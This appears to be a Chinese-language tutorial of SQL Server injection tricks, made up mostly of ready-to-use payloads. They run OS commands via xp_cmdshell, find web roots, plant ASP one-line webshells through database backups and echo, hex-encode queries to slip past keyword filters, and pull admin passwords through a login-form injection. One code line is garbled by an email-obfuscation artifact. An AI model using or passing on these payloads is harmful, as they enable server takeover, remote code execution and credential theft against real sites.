標籤:
一、SA許可權執行命令,如何更快捷的擷取結果?
有顯示位
顯示位
其實這裡的關鍵並不是有無顯示位。exec master..xp_cmdshell ‘systeminfo‘產生的資料寫進一張表的時候,會產生很多行。而我們要做的就是如何很多行通過顯示位、或者報錯語句一次性爆出來,這裡的關鍵就是多行合一。
方法①
03 |
IF EXISTS(select table_name from information_schema.tables where table_name=‘test_1‘)drop table test_1; |
04 |
IF EXISTS(select table_name from information_schema.tables where table_name=‘test_2‘)drop table test_2; |
05 |
create TABLE test_1([output][varchar](1000)); |
06 |
insert test_1 exec master.dbo.xp_cmdshell ‘ipconfig /all‘; |
07 |
DECLARE @result varchar(8000) |
09 |
SELECT @[email protected]+‘ ‘+output from test_1 where output>‘ ‘ |
10 |
SELECT @result AS result INTO test_2; |
11 |
SELECT convert(int,(select result from test_2)); |
解析:
這裡6-9句的意思是申明一個@result的臨時變數;
設定初始值為’~’;將test_1中的資料資料依次取出來,迭代條件是output>’ ‘,並組合成新的字串,字串之間用空格隔開最後複製給@result;
然後將@result設定一個別名,然後插入test_2中。
最後報錯回顯
PS:
mssql英文字母比較大小不區分大小寫
mssql字串比較大小和C語言中的str_cmp()一樣的道理
方法②(注入點測試成功、測試平台SQL Server2008- 10.0.1600.22 (X64)
1 |
報錯:AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1-- |
2 |
顯示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(‘‘))-- |
二、如何快速尋找網站目錄(SA使用者)
SA使用者被降權
SA使用者未被降權
這裡區分降權與非降權是有道理的,如果沒有被降權。那麼許可權很高就可以讀取某些儲存在原生配置了,如果許可權低一點的話,可以使用dir命令尋找。
方法①(被降權:–親測成功):
1 |
CREATE TABLE test_1([output][varchar](1000)); |
2 |
INSERT test_1 EXEC master.dbo.xp_cmdshell ‘dir /s d:\web.config ‘; |
3 |
AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1; |
方法②(未被降權–system–親測成功):
1 |
CREATE TABLE test_1([output][varchar](1000)); |
2 |
INSERT test_1 EXEC master.dbo.xp_cmdshell ‘cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root ‘; |
3 |
AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1; |
方法③(sa+system許可權+IIS7.0+IIS7.5):
%systemroot%/system32/inetsrv/appcmd.exe list site ——列出網站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出網站實體路徑
PS: %systemroot%代表c:\windows\
三、如何利用注入點getshell
方法①(差異備份)–用戶端親測成功–並未要求許可權,可以在非sa許可權的注入點測試
1 |
IF EXISTS(select table_name from information_schema.tables where table_name=‘test_tmp‘)drop table test_tmp; |
2 |
backup database XFData to disk = ‘D:\WebRoot\asp.bak‘; |
3 |
create table [dbo].[test_tmp] ([cmd] [image]); |
4 |
insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E); |
5 |
backup database XFData to disk=‘D:\WebRoot\asp.asp‘ WITH DIFFERENTIAL,FORMAT; |
方法②(減小體積)–用戶端親測成功–並未要求許可權,可以在非sa許可權的注入點測試
1 |
IF EXISTS(select table_name from information_schema.tables where table_name=‘test_tmp‘)drop table test_tmp; |
2 |
alter database XFData set RECOVERY FULL; |
3 |
create table test_tmp (a image); |
4 |
backup log XFData to disk = ‘D:\WebRoot\asp.bak‘ with init; |
5 |
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA); |
6 |
backup log XFData to disk = ‘D:\webroot\123.asp‘ |
PS:
如果不能備份,很有可能是存取權限的問題。可以切換目錄嘗試
如果表存在,也不能成功;所以先判斷表是否存在,如果存在就刪除。
方法③(echo 輸出一句話木馬)–sa許可權+目前使用者寫入權限–親測成功
1 |
echo ^<%eval request("pass")%^> >D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp |
PS:這裡由於是注入點,因此需要注意編碼的問題。一般來說,網頁的編碼和資料庫的編碼是一致的(如果不一致~~~算我輸)。這裡我用了一個中文路徑做說明。
四、如何避免使用select之類的關鍵字
方法①:十六進位混淆
1 |
;DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);-- |
五、登入點的注入如何最快擷取後台密碼
03 |
1‘ GROUP BY username HAVING 1=1-- # 爆出欄位名 |
09 |
1‘;select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))-- |
10 |
1‘;select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account=‘admin‘))-- |
SqlServer 注入技巧